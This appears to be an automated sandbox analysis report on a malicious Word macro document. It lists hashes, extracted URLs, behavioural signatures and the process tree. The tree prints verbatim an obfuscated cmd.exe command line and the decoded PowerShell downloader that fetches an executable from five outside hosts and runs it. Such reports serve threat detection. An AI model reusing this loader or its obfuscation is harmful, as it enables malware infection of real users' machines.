Analysis
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max time kernel
189s -
max time network
217s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
20-05-2022 05:41
Static task
static1
Behavioral task
behavioral1
Sample
7af935b7cd7ddc1383ca817ba41f0784340459331754fcdfa4348fc2a2fe7813.doc
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
7af935b7cd7ddc1383ca817ba41f0784340459331754fcdfa4348fc2a2fe7813.doc
Resource
win10v2004-20220414-en
General
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Target
7af935b7cd7ddc1383ca817ba41f0784340459331754fcdfa4348fc2a2fe7813.doc
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Size
248KB
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MD5
c918f47fda0745fedaca86195397ace0
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SHA1
90367cd9c7d83d6028e0125123541a138c5a82d6
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SHA256
7af935b7cd7ddc1383ca817ba41f0784340459331754fcdfa4348fc2a2fe7813
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SHA512
894663307c2bc59f31ac3fd5ae6934971dd8b7beebbbcb18de5d020ad43309baf8a1012662c33b195dc1bd3bfcaae45a87e5b5ef396cb58d0e56f0956fb781ac
Malware Config
Extracted
http://ttobus.com/ZtzZFiHGL_r
http://bilanacc.com/P7BuwLoQsTjP0hBVF
http://gclubfan.com/ahjpTwNsvu2X_Q7h
http://katariahospital.com/tquLevYG
http://pjfittedkitchens.com/uerfWET_jrbze
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4132 3792 cmd.exe 78 -
Blocklisted process makes network request 2 IoCs
flow pid Process 59 1092 powershell.exe 62 1092 powershell.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
pid Process 4132 cmd.exe 5088 cmd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3792 WINWORD.EXE 3792 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1092 powershell.exe 1092 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1092 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 3792 WINWORD.EXE 3792 WINWORD.EXE 3792 WINWORD.EXE 3792 WINWORD.EXE 3792 WINWORD.EXE 3792 WINWORD.EXE 3792 WINWORD.EXE -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 3792 wrote to memory of 4132 3792 WINWORD.EXE 84 PID 3792 wrote to memory of 4132 3792 WINWORD.EXE 84 PID 4132 wrote to memory of 5088 4132 cmd.exe 86 PID 4132 wrote to memory of 5088 4132 cmd.exe 86 PID 5088 wrote to memory of 2156 5088 cmd.exe 87 PID 5088 wrote to memory of 2156 5088 cmd.exe 87 PID 5088 wrote to memory of 1732 5088 cmd.exe 88 PID 5088 wrote to memory of 1732 5088 cmd.exe 88 PID 1732 wrote to memory of 1092 1732 cmd.exe 89 PID 1732 wrote to memory of 1092 1732 cmd.exe 89
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7af935b7cd7ddc1383ca817ba41f0784340459331754fcdfa4348fc2a2fe7813.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3792 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set gN=xepg'bE-QWi$d3=t1YG/Mzn}(Dwl:4\5~hUZPC{AmIL%76uXf y0Nkj+S;BO)a@TqF_.2sHv,c9oVr&&for %4 in (2,75,26,43,36,34,58,42,41,37,28,32,31,72,16,43,77,43,56,6,56,56,41,59,52,52,39,20,6,28,32,7,29,72,16,43,33,43,63,6,20,36,28,32,7,13,72,16,43,27,27,49,11,54,33,40,12,2,14,4,54,48,69,71,10,69,40,4,57,11,12,48,26,75,54,14,22,1,26,7,75,5,54,1,73,15,49,52,1,15,67,9,1,5,37,27,10,1,22,15,57,11,48,10,10,54,61,14,4,33,15,15,2,28,19,19,15,15,75,5,46,69,67,73,75,40,19,35,15,21,35,65,10,70,18,42,66,77,62,33,15,15,2,28,19,19,5,10,27,61,22,61,73,73,67,73,75,40,19,36,44,58,46,26,42,75,8,69,63,54,36,51,33,58,76,65,62,33,15,15,2,28,19,19,3,73,27,46,5,48,61,22,67,73,75,40,19,61,33,54,2,63,26,52,69,71,46,68,47,66,8,44,33,62,33,15,15,2,28,19,19,53,61,15,61,77,10,61,33,75,69,2,10,15,61,27,67,73,75,40,19,15,64,46,42,1,71,17,18,62,33,15,15,2,28,19,19,2,54,48,10,15,15,1,12,53,10,15,73,33,1,22,69,67,73,75,40,19,46,1,77,48,9,6,63,66,54,77,5,21,1,4,67,56,2,27,10,15,24,4,62,4,60,57,11,64,73,10,73,54,5,54,14,4,15,26,75,64,2,10,4,57,11,64,69,69,48,61,49,14,49,4,74,74,45,4,57,11,33,5,40,26,54,53,10,14,4,71,5,40,10,2,71,26,4,57,11,15,10,22,21,64,14,11,1,22,71,28,15,1,40,2,55,4,30,4,55,11,64,69,69,48,61,55,4,67,1,0,1,4,57,48,75,77,1,61,73,33,24,11,22,10,21,5,26,49,10,22,49,11,48,10,10,54,61,60,38,15,77,50,38,11,12,48,26,75,54,67,25,75,26,22,27,75,61,12,65,10,27,1,24,11,22,10,21,5,26,72,49,11,15,10,22,21,64,60,57,11,26,71,69,48,26,14,4,26,21,10,64,64,22,4,57,41,48,49,24,24,18,1,15,7,41,15,1,40,49,11,15,10,22,21,64,60,67,27,1,22,3,15,33,49,7,3,1,49,29,51,51,51,51,60,49,38,41,22,71,75,53,1,7,41,15,1,40,49,11,15,10,22,21,64,57,11,71,48,15,33,77,15,15,14,4,73,75,75,73,2,10,69,4,57,5,77,1,61,53,57,23,23,73,61,15,73,33,38,23,23,11,61,12,64,10,5,73,14,4,22,27,26,26,10,33,4,57,78)do set WM=!WM!!gN:~%4,1!&&if %4 gtr 77 echo !WM:*WM!=!|%CommonProgramFiles(x86):~23,1%m%ALLUSERSPROFILE:~-4,-3% "2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:4132 -
C:\Windows\system32\cmd.exeCmD /V:O/C"set gN=xepg'bE-QWi$d3=t1YG/Mzn}(Dwl:4\5~hUZPC{AmIL%76uXf y0Nkj+S;BO)a@TqF_.2sHv,c9oVr&&for %4 in (2,75,26,43,36,34,58,42,41,37,28,32,31,72,16,43,77,43,56,6,56,56,41,59,52,52,39,20,6,28,32,7,29,72,16,43,33,43,63,6,20,36,28,32,7,13,72,16,43,27,27,49,11,54,33,40,12,2,14,4,54,48,69,71,10,69,40,4,57,11,12,48,26,75,54,14,22,1,26,7,75,5,54,1,73,15,49,52,1,15,67,9,1,5,37,27,10,1,22,15,57,11,48,10,10,54,61,14,4,33,15,15,2,28,19,19,15,15,75,5,46,69,67,73,75,40,19,35,15,21,35,65,10,70,18,42,66,77,62,33,15,15,2,28,19,19,5,10,27,61,22,61,73,73,67,73,75,40,19,36,44,58,46,26,42,75,8,69,63,54,36,51,33,58,76,65,62,33,15,15,2,28,19,19,3,73,27,46,5,48,61,22,67,73,75,40,19,61,33,54,2,63,26,52,69,71,46,68,47,66,8,44,33,62,33,15,15,2,28,19,19,53,61,15,61,77,10,61,33,75,69,2,10,15,61,27,67,73,75,40,19,15,64,46,42,1,71,17,18,62,33,15,15,2,28,19,19,2,54,48,10,15,15,1,12,53,10,15,73,33,1,22,69,67,73,75,40,19,46,1,77,48,9,6,63,66,54,77,5,21,1,4,67,56,2,27,10,15,24,4,62,4,60,57,11,64,73,10,73,54,5,54,14,4,15,26,75,64,2,10,4,57,11,64,69,69,48,61,49,14,49,4,74,74,45,4,57,11,33,5,40,26,54,53,10,14,4,71,5,40,10,2,71,26,4,57,11,15,10,22,21,64,14,11,1,22,71,28,15,1,40,2,55,4,30,4,55,11,64,69,69,48,61,55,4,67,1,0,1,4,57,48,75,77,1,61,73,33,24,11,22,10,21,5,26,49,10,22,49,11,48,10,10,54,61,60,38,15,77,50,38,11,12,48,26,75,54,67,25,75,26,22,27,75,61,12,65,10,27,1,24,11,22,10,21,5,26,72,49,11,15,10,22,21,64,60,57,11,26,71,69,48,26,14,4,26,21,10,64,64,22,4,57,41,48,49,24,24,18,1,15,7,41,15,1,40,49,11,15,10,22,21,64,60,67,27,1,22,3,15,33,49,7,3,1,49,29,51,51,51,51,60,49,38,41,22,71,75,53,1,7,41,15,1,40,49,11,15,10,22,21,64,57,11,71,48,15,33,77,15,15,14,4,73,75,75,73,2,10,69,4,57,5,77,1,61,53,57,23,23,73,61,15,73,33,38,23,23,11,61,12,64,10,5,73,14,4,22,27,26,26,10,33,4,57,78)do set WM=!WM!!gN:~%4,1!&&if %4 gtr 77 echo !WM:*WM!=!|CmD "3⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:5088 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $jhmdp='jfsvism';$dfwoj=new-object Net.WebClient;$fiija='http://ttobus.com/ZtzZFiHGL_r@http://bilanacc.com/P7BuwLoQsTjP0hBVF@http://gclubfan.com/ahjpTwNsvu2X_Q7h@http://katariahospital.com/tquLevYG@http://pjfittedkitchens.com/uerfWET_jrbze'.Split('@');$qcicjbj='twoqpi';$qssfa = '996';$hbmwjki='vbmipvw';$tinzq=$env:temp+'\'+$qssfa+'.exe';foreach($nizbw in $fiija){try{$dfwoj.DownloadFile($nizbw, $tinzq);$wvsfw='wziqqn';If ((Get-Item $tinzq).length -ge 40000) {Invoke-Item $tinzq;$vfthrtt='coocpis';break;}}catch{}}$adqibc='nlwwih';"4⤵PID:2156
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C:\Windows\system32\cmd.exeCmD4⤵
- Suspicious use of WriteProcessMemory
PID:1732 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $jhmdp='jfsvism';$dfwoj=new-object Net.WebClient;$fiija='http://ttobus.com/ZtzZFiHGL_r@http://bilanacc.com/P7BuwLoQsTjP0hBVF@http://gclubfan.com/ahjpTwNsvu2X_Q7h@http://katariahospital.com/tquLevYG@http://pjfittedkitchens.com/uerfWET_jrbze'.Split('@');$qcicjbj='twoqpi';$qssfa = '996';$hbmwjki='vbmipvw';$tinzq=$env:temp+'\'+$qssfa+'.exe';foreach($nizbw in $fiija){try{$dfwoj.DownloadFile($nizbw, $tinzq);$wvsfw='wziqqn';If ((Get-Item $tinzq).length -ge 40000) {Invoke-Item $tinzq;$vfthrtt='coocpis';break;}}catch{}}$adqibc='nlwwih';5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1092
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